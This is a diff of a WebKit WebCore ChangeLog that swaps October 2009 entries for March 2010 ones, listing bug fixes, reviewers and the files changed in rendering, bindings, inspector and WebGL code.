+        (WebCore::QtStyleOptionWebComboBox::QtStyleOptionWebComboBox):
+        (WebCore::QtStyleOptionWebComboBox::multiple):
+        (WebCore::QtStyleOptionWebComboBox::checkMultiple):
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::extraDefaultStyleSheet):
+        (WebCore::RenderThemeQt::paintMenuList):
+        (WebCore::RenderThemeQt::paintMenuListButton):
+        * platform/qt/RenderThemeQt.h:
 
-2009-10-20  Fumitoshi Ukai  <ukai@chromium.org>
-
-        Reviewed by David Levin.
-
-        Set EnabledAtRuntime for WebSocket in DOMWindow
-        https://bugs.webkit.org/show_bug.cgi?id=29896
-
-        Supported by chromium/v8 only.
-        Add WebSocket::isAvailable()/setIsAvailable(bool) to control v8
-        bindings.
-        Remove Settings::experimentalWebSocketsEnabled() and
-        setExperimentalWebSocketsEnabled(bool).
-
-        * WebCore.base.exp:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::webSocket):
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getConstructor):
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::ACCESSOR_RUNTIME_ENABLER):
-        * page/DOMWindow.idl:
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):
-        * page/Settings.h:
-        * websockets/WebSocket.cpp:
-        (WebCore::WebSocket::setIsAvailable):
-        (WebCore::WebSocket::isAvailable):
-        * websockets/WebSocket.h:
-
-2009-10-19  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        REGRESSION: Dromaeo DOM test is 14% slower
-        https://bugs.webkit.org/show_bug.cgi?id=30273
-
-        Whoops, make prototype bindings actually use the StructureFlags.
-
-        * bindings/scripts/CodeGeneratorJS.pm:
-
-2009-10-19  James Robinson  <jamesr@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Better implementation of WebCore::ScriptString for the V8 bindings.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29909
-
-        WebCore::ScriptString is used for XMLHttpRequest's responseText attribute which is
-        shared with JavaScript.  Thus, simply using a WebCore::String and copying the value
-        is pretty inefficient, especially since responseText is built up with a sequence of
-        operator+= calls.  JSC builds use a JSC::UString to share the buffer when possible,
-        this patch adopts a similar approach for V8.
-
-        No new tests, behavior is unchanged and covered by LayoutTests/http/tests/xmlhttprequest
-
-        * WebCore.gypi:
-        * bindings/v8/ScriptString.h:
-        (WebCore::ScriptString::ScriptString):
-        (WebCore::ScriptString::operator String):
-        (WebCore::ScriptString::isNull):
-        (WebCore::ScriptString::size):
-        (WebCore::ScriptString::operator=):
-        (WebCore::ScriptString::operator+=):
-        (WebCore::ScriptString::v8StringOrNull):
-        * bindings/v8/ScriptStringImpl.cpp: Added.
-        (WebCore::ScriptStringImpl::ScriptStringImpl):
-        (WebCore::ScriptStringImpl::~ScriptStringImpl):
-        (WebCore::ScriptStringImpl::toString):
-        (WebCore::ScriptStringImpl::isNull):
-        (WebCore::ScriptStringImpl::size):
-        (WebCore::ScriptStringImpl::append):
-        * bindings/v8/ScriptStringImpl.h: Added.
-        (WebCore::ScriptStringImpl::ScriptStringImpl):
-        (WebCore::ScriptStringImpl::v8StringHandle):
-        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-
-2009-10-19  Adam Barth  <abarth@webkit.org>
-
-        No review, rolling out r49837.
-        http://trac.webkit.org/changeset/49837
-
-        * page/Settings.cpp:
-        (WebCore::Settings::setStandardFontFamily):
-        (WebCore::Settings::setFixedFontFamily):
-        (WebCore::Settings::setSerifFontFamily):
-        (WebCore::Settings::setSansSerifFontFamily):
-        (WebCore::Settings::setCursiveFontFamily):
-        (WebCore::Settings::setFantasyFontFamily):
-        * page/Settings.h:
-        (WebCore::Settings::standardFontFamily):
-        (WebCore::Settings::fixedFontFamily):
-        (WebCore::Settings::serifFontFamily):
-        (WebCore::Settings::sansSerifFontFamily):
-        (WebCore::Settings::cursiveFontFamily):
-        (WebCore::Settings::fantasyFontFamily):
-        * platform/text/UScriptCode.h: Removed.
-
-2009-10-19  Kwang Yul Seo  <skyul@company100.net>
-
-        Reviewed by Eric Seidel.
-
-        Check COMPILER(MSVC) instead of PLATFORM(WIN_OS) to avoid the use of vasprintf.
-        https://bugs.webkit.org/show_bug.cgi?id=30473
-
-        vasprintf is missing in MSVC. Use COMPILER(MSVC) guards instead of
-        PLALTFORM(WIN_OS) guards.
-
-        * dom/XMLTokenizerLibxml2.cpp:
-        (WebCore::XMLTokenizer::error):
-
-2009-10-19  Jungshik Shin  <jshin@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=20797
-
-        Make generic font family getters/setters accept an additional
-        argument (script code). It has a default value so that if an embedder
-        does not have/want a per-script font family setting, call-sites
-        don't have to be changed.
-        This is to prepare for fixing bug 10874 (font selection is not
-        language-dependent) and bug 18085.
-
-        There should be no change in layout and no new layout test
-        is added.
+2010-03-19  Zhenyao Mo  <zmo@google.com>
 
-        * WebCore.base.exp:
-        * page/Settings.cpp:
-        * page/Settings.h:
-        * platform/text/UScriptCode.h: Added. This is for ports that
-          do not use ICU. the part of ICU's common/unicode/uscript.h
-          that defines script code enum was copied. To keep enums compatible
-          with those in ICU, we don't generate the list out of Scripts.txt
-          of the Unicode Data base or CLDR's data.
+        Reviewed by Oliver Hunt.
 
-2009-10-19  Evan Stade  <estade@chromium.org>
+        Update WebGLArray.slice() to new spec
+        https://bugs.webkit.org/show_bug.cgi?id-35612
+
+        * bindings/js/JSWebGLArrayCustom.cpp: Adding support for default inputs.
+        (WebCore::JSWebGLArray::slice):
+        * bindings/v8/custom/V8WebGLArrayCustom.cpp: Ditto.
+        (WebCore::V8WebGLArray::sliceCallback):
+        * html/canvas/WebGLArray.cpp: Map start/end to offset/length.
+        (WebCore::WebGLArray::calculateOffsetAndLength):
+        * html/canvas/WebGLArray.h: Modified slice parameters.
+        * html/canvas/WebGLArray.idl: Define custom binding for slice().
+        * html/canvas/WebGLByteArray.cpp: Modified slice parameters.
+        (WebCore::WebGLByteArray::slice):
+        * html/canvas/WebGLByteArray.h: Ditto.
+        * html/canvas/WebGLFloatArray.cpp: Ditto.
+        (WebCore::WebGLFloatArray::slice):
+        * html/canvas/WebGLFloatArray.h: Ditto.
+        * html/canvas/WebGLIntArray.cpp: Ditto.
+        (WebCore::WebGLIntArray::slice):
+        * html/canvas/WebGLIntArray.h: Ditto.
+        * html/canvas/WebGLShortArray.cpp: Ditto.
+        (WebCore::WebGLShortArray::slice):
+        * html/canvas/WebGLShortArray.h: Ditto.
+        * html/canvas/WebGLUnsignedByteArray.cpp: Ditto.
+        (WebCore::WebGLUnsignedByteArray::slice):
+        * html/canvas/WebGLUnsignedByteArray.h: Ditto.
+        * html/canvas/WebGLUnsignedIntArray.cpp: Ditto.
+        (WebCore::WebGLUnsignedIntArray::slice):
+        * html/canvas/WebGLUnsignedIntArray.h: Ditto.
+        * html/canvas/WebGLUnsignedShortArray.cpp: Ditto.
+        (WebCore::WebGLUnsignedShortArray::slice):
+        * html/canvas/WebGLUnsignedShortArray.h: Ditto.
+
+2010-03-19  Yong Li <yong.li@torchmobile.com> and Andy Estes <aestes@apple.com>
 
         Reviewed by Darin Adler.
 
-        Clarify usage of SuddenTermination API. No code change.
-
-        * platform/SuddenTermination.h:
-
-2009-10-19  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Gavin Barraclough.
-
-        REGRESSION: Dromaeo DOM test is 14% slower
-        https://bugs.webkit.org/show_bug.cgi?id=30273
-
-        Make DOM bindings automatically inherit correct structure
-        flags rather than being needlessly conservative.  This is
-        done by making the bindings generator use the same model
-        for TypeInfo flags that we now use in JSC.
-
-        This gains us about 1% of this regression back.
-
-        * bindings/js/JSDOMBinding.h:
-        (WebCore::DOMObjectWithGlobalPointer::createStructure):
-        (WebCore::DOMConstructorObject::createStructure):
-        * bindings/js/JSDOMWindowShell.h:
-        (WebCore::JSDOMWindowShell::createStructure):
-        * bindings/js/JSHTMLAllCollection.h:
-        (WebCore::JSHTMLAllCollection::createStructure):
-        * bindings/js/JSQuarantinedObjectWrapper.h:
-        (WebCore::JSQuarantinedObjectWrapper::createStructure):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bridge/objc/objc_runtime.h:
-        (JSC::Bindings::ObjcFallbackObjectImp::createStructure):
-        * bridge/runtime_array.h:
-        (JSC::RuntimeArray::createStructure):
-        * bridge/runtime_method.h:
-        (JSC::RuntimeMethod::createStructure):
-        * bridge/runtime_object.h:
-        (JSC::RuntimeObjectImp::createStructure):
-
-2009-10-19  Robin Qiu  <robin.qiu@torchmobile.com.cn>
-
-        Reviewed by Nikolas Zimmermann.
-
-        Fixed a bug on nested SVG <use> elements.
-        https://bugs.webkit.org/show_bug.cgi?id=26117
-        When a <use> element refer to another <use> element which has
-        child/children, the instance tree built for this <use> element
-        is incorrect (more nodes than expected).
-
-        Test: svg/dom/use-on-use-with-child.svg
-
-        * svg/SVGUseElement.cpp:
-        (WebCore::SVGUseElement::buildInstanceTree):
-
-2009-10-19  Oliver Hunt  <oliver@apple.com>
-
-        Small changes to fully invalidate and update the JavaScriptCallFrame.
-
-        <rdar://problem/7020755> JSDebugger crashes after reloading from a breakpoint
-        https://bugs.webkit.org/show_bug.cgi?id=27146
-
-        Reviewed by Timothy Hatcher.
-
-        * inspector/JavaScriptCallFrame.h:
-        (WebCore::JavaScriptCallFrame::invalidate):
-        (WebCore::JavaScriptCallFrame::update):
-
-2009-10-19  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Dmitri Titov.
-
-        Remove "source" from storage events
-        https://bugs.webkit.org/show_bug.cgi?id=30536
-
-        Remove "source" from storage events per
-        http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2009-October/023703.html
-
-        This was removed because it makes it introduces synchronous access that can
-        cross the event loop boundry (since a storage event can fire from one process
-        and be handled in another).
-
-        * inspector/InspectorDOMStorageResource.cpp:
-        (WebCore::InspectorDOMStorageResource::handleEvent):
-        * storage/StorageEvent.cpp:
-        (WebCore::StorageEvent::create):
-        (WebCore::StorageEvent::StorageEvent):
-        (WebCore::StorageEvent::initStorageEvent):
-        * storage/StorageEvent.h:
-        (WebCore::StorageEvent::uri):
-        * storage/StorageEvent.idl:
-        * storage/StorageEventDispatcher.cpp:
-        (WebCore::StorageEventDispatcher::dispatch):
-
-2009-10-19  Adam Barth  <abarth@webkit.org>
+        Ensure the segments inside SharedBuffer are merged before constructing
+        a CFData with it.
 
-        Reviewed by Eric Seidel.
-
-        Remove ResourceLoadNotifier::activeDocumentLoader
-        https://bugs.webkit.org/show_bug.cgi?id=30533
-
-        Removing this method from ResourceLoadNotifier better decouples the
-        notifier from FrameLoader.
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::continueLoadAfterWillSubmitForm):
-        (WebCore::FrameLoader::requestFromDelegate):
-        * loader/ResourceLoadNotifier.cpp:
-        (WebCore::ResourceLoadNotifier::didReceiveResponse):
-        * loader/ResourceLoadNotifier.h:
-        * loader/ResourceLoader.cpp:
-        (WebCore::ResourceLoader::willSendRequest):
+        https://bugs.webkit.org/show_bug.cgi?id=50843
 
-2009-10-19  Adam Barth  <abarth@webkit.org>
+        * manual-tests/WebKitSite.webarchive: Added.
+        * manual-tests/webarchive-test.html: Added.
+        * platform/cf/SharedBufferCF.cpp:
+        (WebCore::SharedBuffer::createCFData):
 
-        Reviewed by Eric Seidel.
-
-        Move sendRemainingDelegateMessages to ResourceLoadNotifier
-        https://bugs.webkit.org/show_bug.cgi?id=30531
+2010-03-19  Justin Schuh  <jschuh@chromium.org>
 
-        This method is about notifying folks and doesn't interact with the rest
-        of FrameLoader.
+        Reviewed by Oliver Hunt.
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::willLoadMediaElementURL):
-        (WebCore::FrameLoader::commitProvisionalLoad):
-        (WebCore::FrameLoader::loadResourceSynchronously):
-        (WebCore::FrameLoader::loadedResourceFromMemoryCache):
-        * loader/FrameLoader.h:
-        * loader/ResourceLoadNotifier.cpp:
-        (WebCore::ResourceLoadNotifier::sendRemainingDelegateMessages):
-        * loader/ResourceLoadNotifier.h:
+        Security: ReadAV@NULL for negative feMorphology filter radius
+        https://bugs.webkit.org/show_bug.cgi?id=34566
 
-2009-10-19  Adam Barth  <abarth@webkit.org>
+        Prevents building the filter if either radius is negative.
+        Catches negative radii resulting from conversions.
 
-        Reviewed by Eric Seidel.
+        Test: svg/filters/feMorphology-invalid-radius.svg
 
-        Bypass popup blocker using click event
-        https://bugs.webkit.org/show_bug.cgi?id=21501
+        * svg/SVGFEMorphologyElement.cpp:
+        (WebCore::SVGFEMorphologyElement::build):
+        * svg/graphics/filters/SVGFEMorphology.cpp:
+        (WebCore::FEMorphology::apply):
 
-        Keep track of which events were generated by JavaScript and use that
-        inforation when figuring out if we're processing a user gesture.
+2010-03-19  Chris Marrin  <cmarrin@apple.com>
 
-        Test: http/tests/security/popup-blocked-from-fake-event.html
+        Reviewed by Simon Fraser.
 
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::processingUserGestureEvent):
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::processingUserGesture):
-        * dom/Document.cpp:
-        (WebCore::Document::createEvent):
-        * dom/Event.cpp:
-        (WebCore::Event::Event):
-        * dom/Event.h:
-        (WebCore::Event::createdByDOM):
-        (WebCore::Event::setCreatedByDOM):
+        Fixed a crash with AnimationController getting deleted out from under itself.
+        
+        It's possible for the Frame that owns an AnimationController to get deleted
+        in the EndTransitionEvent (or other animation events) to get deleted in the
+        event handler. Normally this case is protected against by preventing the Frame
+        from getting deleted until the end of the runloop. But native uses of the 
+        WebView can subvert this protection. So I added a protector to the 
+        animation event dispatcher to protect it in those cases.
 
-2009-10-19  Dumitru Daniliuc  <dumi@chromium.org>
+        Test: transitions/transition-end-event-destroy-iframe.html
 
-        Reviewed by Darin Adler.
+        * page/animation/AnimationController.cpp:
+        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
 
-        Fixing a typo.
+2010-03-19  Luiz Agostini  <luiz.agostini@openbossa.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30543
+        Reviewed by Antti Koivisto.
 
-        * platform/sql/SQLiteDatabase.h:
+        Multiselect Popup - PopupMenuClient extension
+        https://bugs.webkit.org/show_bug.cgi?id=36178
 
-2009-10-19  Dmitry Titov  <dimich@chromium.org>
+        PopupMenuClient class is the interface used by combobox popup implementations.
+        It needs to be extended to handle <select multiple> needs.
 
-        Reviewed by Darin Adler.
+        A new interface named ListPopupMenuClient that inherits from PopupMenuClient was created.
+        The use of this new class instead of adding methods to PopupMenuClient avoids changes
+        in other non related implementations of PopupMenuClient.
 
-        Manual Test for crash caused by JS accessing DOMWindow which is disconnected from the Frame.
-        https://bugs.webkit.org/show_bug.cgi?id=30544
+        RenderMenuList has changed to inherit ListPopupMenuClient instead of PopupMenuClient
+        and to have the new methods implemented.
 
-        * manual-tests/crash-on-accessing-domwindow-without-frame.html: Added.
+        * platform/PopupMenuClient.h:
+        * rendering/RenderMenuList.cpp:
+        (WebCore::RenderMenuList::listBoxSelectItem):
+        (WebCore::RenderMenuList::multiple):
+        * rendering/RenderMenuList.h:
 
-2009-10-19  Simon Fraser  <simon.fraser@apple.com>
+2010-03-19  Simon Fraser  <simon.fraser@apple.com>
 
-        Reviewed by Darin Adler.
+        Reviewed by Dimitri Glazkov.
 
-        Flash at end of opacity/transform transition sometimes
-        https://bugs.webkit.org/show_bug.cgi?id=30501
+        https://bugs.webkit.org/show_bug.cgi?id=36387
+        REGRESSION: Can "uncheck" radio buttons by clicking on them
         
-        When a transition finishes, there window of time between when the animation is
-        removed, and the final style set on the GraphicsLayer. This caused the layer to revert
-        to its old appearance for one or two frames. To avoid this, we set the final
-        transform or opacity at the start of the transition; we know that the animation
-        will override the final value for as long as its running.
+        My change in r56174 caused radio buttons and checkboxes to go down the same code path by virtue
+        of allowsIndeterminate(), but this broke save/restore behavior on radio buttons.
         
-        No test because this is a very transient effect that can't be captured
-        in a test.
-
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::createGraphicsLayer):
-        (WebCore::RenderLayerBacking::updateLayerOpacity):
-        (WebCore::RenderLayerBacking::updateLayerTransform):
-        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
-        (WebCore::RenderLayerBacking::startTransition):
-        * rendering/RenderLayerBacking.h:
-
-2009-10-19  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Add more stop characters into console completions.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30477
-
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype.completions):
-        (WebInspector.ConsoleView.prototype._reportCompletions):
+        Fix by saving and restoring both the intermediate and checked state for radio buttons
+        and checkboxes, as well as the "current radio button" state.
 
-2009-10-19  Marshall Culpepper  <mculpepper@appcelerator.com>
+        Test: fast/forms/radio-checkbox-restore-indeterminate.html
 
-        Reviewed by Adam Roben.
-
-        implemented ClipboardWin::files()
-        https://bugs.webkit.org/show_bug.cgi?id=29666
-
-        * platform/win/ClipboardWin.cpp:
-        (WebCore::ClipboardWin::files):
-
-2009-10-19  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Alexey Proskuryakov.
-
-        Add support for link relations in HTMLAnchorElement and implement rel="noreferrer".
-
-        https://bugs.webkit.org/show_bug.cgi?id=28986
-
-        Tests: http/tests/navigation/no-referrer-reset.html
-               http/tests/navigation/no-referrer-same-window.html
-               http/tests/navigation/no-referrer-subframe.html
-               http/tests/navigation/no-referrer-target-blank.html
-
-        * WebCore.base.exp: Update FrameLoader::loadFrameRequest export symbol
-        * html/HTMLAnchorElement.cpp: Add support for link relations and implement noreferrer
-        (WebCore::HTMLAnchorElement::HTMLAnchorElement):
-        (WebCore::HTMLAnchorElement::defaultEventHandler):
-        (WebCore::HTMLAnchorElement::parseMappedAttribute):
-        (WebCore::HTMLAnchorElement::hasRel):
-        (WebCore::HTMLAnchorElement::setRel):
-        * html/HTMLAnchorElement.h: Add support for link relations and implement noreferrer
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::FrameLoader):
-        (WebCore::FrameLoader::createWindow):
-        (WebCore::FrameLoader::changeLocation):
-        (WebCore::FrameLoader::urlSelected): Add parameter for referrer policy
-        (WebCore::FrameLoader::loadFrameRequest): Add parameter for referrer policy
-        (WebCore::FrameLoader::continueLoadAfterNewWindowPolicy): Suppress opener if requested by ReferrerPolicy
-        * loader/FrameLoader.h: Update urlSelected and loadFrameRequest prototypes
-        * loader/FrameLoaderTypes.h: Add enum for referrer policy
-        * loader/RedirectScheduler.cpp:
-        (WebCore::RedirectScheduler::timerFired):
-        * page/ContextMenuController.cpp:
-        (WebCore::ContextMenuController::contextMenuItemSelected): Update call to urlSelected()
-        * svg/SVGAElement.cpp:
-        (WebCore::SVGAElement::defaultEventHandler): Update call to urlSelected()
-
-
-2009-10-19  Alpha Lam  <hclam@chromium.org>
-
-        Reviewed by Dimitri Glazkov (dglazkov@chromium.org).
-
-        [v8] typeof(HTMLMediaElement) should return undefined if media
-        engine is not available
-        https://bugs.webkit.org/show_bug.cgi?id=30343
-
-        Check for availability of the media engine to disable
-        HTMLMediaElement, HTMLAudioElement, HTMLVideoElement, MediaError
-        in runtime.
-
-        Try runs and review in Chromium:
-        http://codereview.chromium.org/276011
-
-        Test: manual-tests/chromium/media-player-not-available.html
-
-        The above test can work work in Chromium. Testing procedures:
-        1. Remove all media support libraries in Chromium (e.g. ffmpeg libraries)
-        2. Open Chromium with above test page
-        3. Verify the test results according to the test page
-
-        * bindings/v8/custom/V8CustomBinding.h:
-        Declare enabler methods.
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        Report enabled only if media player is available.
-        * manual-tests/chromium/media-player-not-available.html: Added.
-        Manual test, following instruction in this test for procedures.
-        * page/DOMWindow.idl:
-        Mark HTMLMediaElement, HTMLAudioElement, HTMLVideElement, MediaError
-        as enabled at runtime.
-
-2009-10-19  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+        * html/HTMLInputElement.cpp:
+        (WebCore::EventHandlingState::EventHandlingState): New struct to hold state between preDispatchEventHandler()
+        and postDispatchEventHandler().
+        (WebCore::HTMLInputElement::preDispatchEventHandler): Store intermedate and checked state
+        and the current radio button.
+        (WebCore::HTMLInputElement::postDispatchEventHandler): Restore state as appropriate.
+        * html/HTMLInputElement.h: Add a comment to clarify how 'intermediate' interacts with 'checked', according
+        to the spec.
 
-        Reviewed by David Hyatt.
+2010-03-19  Alexander Pavlov  <apavlov@chromium.org>
 
-        Refactor out some of the code in paint() into paintPanScrollIcon()
-        and paintScrollbars() in preparation of some Qt API changes.
+        Reviewed by Pavel Feldman.
 
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::paint):
-        * platform/ScrollView.h:
+        Web Inspector: caret moves past prompt in javascript console
+        https://bugs.webkit.org/show_bug.cgi?id=26602
 
-2009-10-19  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+        Having noticed any Element children besides a leading <br> (which are empty
+        text nodes), WebCore editing facility thinks it should delete the <br>,
+        thus clearing away the text prompt contents.
 
-        Reviewed by Adam Roben.
+        * inspector/front-end/TextPrompt.js:
+        (WebInspector.TextPrompt.prototype.clearAutoComplete):
+        (WebInspector.TextPrompt.prototype._completionsReady):
+        * inspector/front-end/utilities.js:
+        (Element.prototype.pruneEmptyTextNodes):
 
-        Make the local static panScrollIcon into a Image* instead
-        of a RefPtr<Image>.
+2010-03-19  Adam Roben  <aroben@apple.com>
 
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::wheelEvent):
+        Windows clean build fix after r56192
 
-2009-10-19  Andrew Scherkus  <scherkus@chromium.org>
+        * WebCore.vcproj/WebCore.vcproj: Copy headers from
+        platform/graphics/cg to $WebKitOutputDir as part of the post-build
+        event so that WebKit can use them. (The only one we currently require
+        is FontPlatformData.h.)
 
-        Reviewed by David Levin.
+        * platform/graphics/win/FontPlatformDataCGWin.cpp: Touched to force a
+        build.
 
-        Forcefully set antialiasing for Chromium media controls.
+2010-03-19  Joseph Pecoraro  <joepeck@webkit.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30521
+        Reviewed by David Kilzer.
 
-        Before it was nondeterministiacally being enabled based on the previous state of GraphicsContext.
+        Assertion failure in media/video-controls-with-mutation-event-handler.html
+        https://bugs.webkit.org/show_bug.cgi?id=36376
 
-        Covered by existing layout tests.
+        Fix crashing test. Underlying the media element's volume slider is a
+        range input, which sanitizes values before expected on the media control.
 
-        * rendering/RenderMediaControlsChromium.cpp:
-        (WebCore::paintMediaSlider): Added setShouldAntialias(true).
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::createVolumeSlider):
 
-2009-10-19  Jens Alfke  <jens@mooseyard.com>
+2010-03-19  Brady Eidson  <beidson@apple.com>
 
         Reviewed by Darin Adler.
 
-        Optimize string upper/lowercasing
-        https://bugs.webkit.org/show_bug.cgi?id=30261
-        
-        - Added AtomicString::upper() and lower()
-        - Further optimized StringImpl::lower()
-        - Removed StringImpl::isLower()
-        - Added QualifiedName::localNameUpper(), which is cached, thereby saving
-          thousands of upper() calls and string allocations.
- 
-         * dom/Element.cpp:
-         (WebCore::Element::setAttribute): Call AtomicString::lower()
-         * dom/QualifiedName.cpp:
-         (WebCore::QualifiedName::localNameUpper): New method
-         * dom/QualifiedName.h: Added localNameUpper() method
-         * dom/StyledElement.cpp:
-         (WebCore::StyledElement::parseMappedAttribute):  Call AtomicString::lower()
-         * html/HTMLDocument.cpp:
-         (WebCore::HTMLDocument::createElement): Call AtomicString::lower()
-         * html/HTMLElement.cpp:
-         (WebCore::HTMLElement::nodeName): Call localNameUpper()
-         * platform/text/AtomicString.cpp:
-         (WebCore::AtomicString::lower): New method
-         (WebCore::AtomicString::upper): New method
-         * platform/text/AtomicString.h: Added lower() and upper()
-         * platform/text/StringImpl.cpp: Removed isLower()
-         (WebCore::StringImpl::lower): Further optimization of initial loop
-         * platform/text/StringImpl.h: Removed isLower()
- 
-2009-10-19  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        If a call to a plugin's invokeMethod, invokeDefault or construct
-        returns false, throw an exception into JS.        
-
-        https://bugs.webkit.org/show_bug.cgi?id=30239
-
-        Test: plugins/netscape-invoke-failure.html
-
-        * bindings/v8/V8NPObject.cpp: Check return values of invokeMethod, invokeDefault and construct.
-        (npObjectInvokeImpl):
-        * bridge/c/c_instance.cpp:
-        (JSC::Bindings::CInstance::invokeMethod): Check return value
-        (JSC::Bindings::CInstance::invokeDefaultMethod): Check return value
-        (JSC::Bindings::CInstance::invokeConstruct): Check return value
-
-2009-10-16  Stephen White  <senorblanco@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Fix for chromium/skia canvas arc start/end positions, when the arc is
-        >= 360 degrees.
-        https://bugs.webkit.org/show_bug.cgi?id=30449
+        3 of the new HTML5 loading events need to be asynchronous.
 
-        Covered by new test:
-        LayoutTests/fast/canvas/arc360.html
+        Laying the groundwork for:
+        https://bugs.webkit.org/show_bug.cgi?id=36201
+        https://bugs.webkit.org/show_bug.cgi?id=36202
+        https://bugs.webkit.org/show_bug.cgi?id=36334
+        https://bugs.webkit.org/show_bug.cgi?id=36335
 
-        * platform/graphics/skia/PathSkia.cpp:
-        (WebCore::Path::addArc):
-
-2009-10-19  Kent Tamura  <tkent@chromium.org>
-
-        Reviewed by Alexey Proskuryakov.
-
-        Fix uninitialized variable reference in Element::removeAttribute().
-        https://bugs.webkit.org/show_bug.cgi?id=30502
-
-        * dom/Element.cpp:
-        (WebCore::Element::removeAttribute):
-
-2009-10-19  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30463
-        Remove HTML5 media element 'loadend' event
+        Document already had an asynchronous event delivery mechanism for storage events, so
+        we can repurpose that for all async events.
 
-        * dom/EventNames.h:
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::parseMappedAttribute): Remove 'loadend'.
-        (WebCore::HTMLMediaElement::loadInternal): Ditto.
-        (WebCore::HTMLMediaElement::noneSupported): Ditto.
-        (WebCore::HTMLMediaElement::mediaEngineError): Ditto.
-        (WebCore::HTMLMediaElement::setNetworkState): Ditto.
-        (WebCore::HTMLMediaElement::userCancelledLoad): Ditto.
-
-2009-10-19  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
-
-        Reviewed by Adam Barth.
+        No new tests. (No change in behavior)
 
-        [Qt] Remove deletion of outgoing FormData object when reply is finished.
-        The buffers will be destroyed a bit later, when the QNetworkReply is deleted.
-        Bug: https://bugs.webkit.org/show_bug.cgi?id=29551
+        * dom/Document.cpp:
+        (WebCore::Document::Document):
+        (WebCore::Document::implicitClose): Use Document::schedule* for the related events.
+        (WebCore::Document::enqueueEvent): Renamed from enqueueStorageEvent
+        (WebCore::Document::pendingEventTimerFired): Renamed from "storageEventTimerFired"
+        (WebCore::Document::statePopped): Use Document::schedulePopstateEvent
+        (WebCore::Document::enqueuePageshowEvent): All Pageshow events are piped through here.
+          This will be made asynchronous in a separate patch.
+        (WebCore::Document::enqueueHashchangeEvent): All Hashchange events are piped through here.
+          This will be made asynchronous in a separate patch.
+        (WebCore::Document::enqueuePopstateEvent): All Popstate events are piped through here.
+          This will be made asynchronous in a separate patch.
+        * dom/Document.h:
+        (WebCore::):
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        * platform/network/qt/QNetworkReplyHandler.h:
+        * history/CachedFrame.cpp:
+        (WebCore::CachedFrameBase::restore): Use Document::enqueuePageshowEvent
 
-2009-10-19  Dimitri Glazkov  <dglazkov@chromium.org>
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadInSameDocument): Use Document::enqueueHashchangeEvent
 
-        Reviewed by Darin Adler.
+        * storage/StorageEventDispatcher.cpp:
+        (WebCore::StorageEventDispatcher::dispatch): Use Document::enqueueEvent
 
-        Fix hard-to-reproduce crash in HTMLTokenizer by avoiding a rare
-        fastRealloc edge case.
-        https://bugs.webkit.org/show_bug.cgi?id=29313
+2010-03-19  Kevin Decker  <kdecker@apple.com>
 
-        No test, the crash shows up occasionally in crash dumps, we weren't able
-        to reproduce it locally.
+        Reviewed by Darin Adler and Brady Eidson.
 
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::enlargeScriptBuffer): Added an early exit to
-            avoid calling fastRealloc with the size of 0.
+        First step toward:
+        https://bugs.webkit.org/show_bug.cgi?id=36328
 
-2009-10-19  Andrew Scherkus  <scherkus@chromium.org>
+        This is the first step torward eliminating the WebKit WebNullPluginView class. The responsibility for this will soon
+        be in platform-independent code in WebCore. The plan is to change RenderEmbeddedObject and give it the capability of
+        drawing the missing plug-in text. 
 
-        Reviewed by Eric Seidel.
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::requestObject): Renamed the renderer parameter to requestEmbeddedObject and made it
+        a RenderEmbeddedObject.
+        (WebCore::FrameLoader::loadPlugin): Likewise.
+        * loader/FrameLoader.h: Updated loadPlugin() and requestObject() method signatures accordingly. 
 
-        Use fillRect() instead of drawRect() to fix Chromium media controls rendering.
+2010-03-19  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30371
+        Reviewed by Simon Hausmann.
 
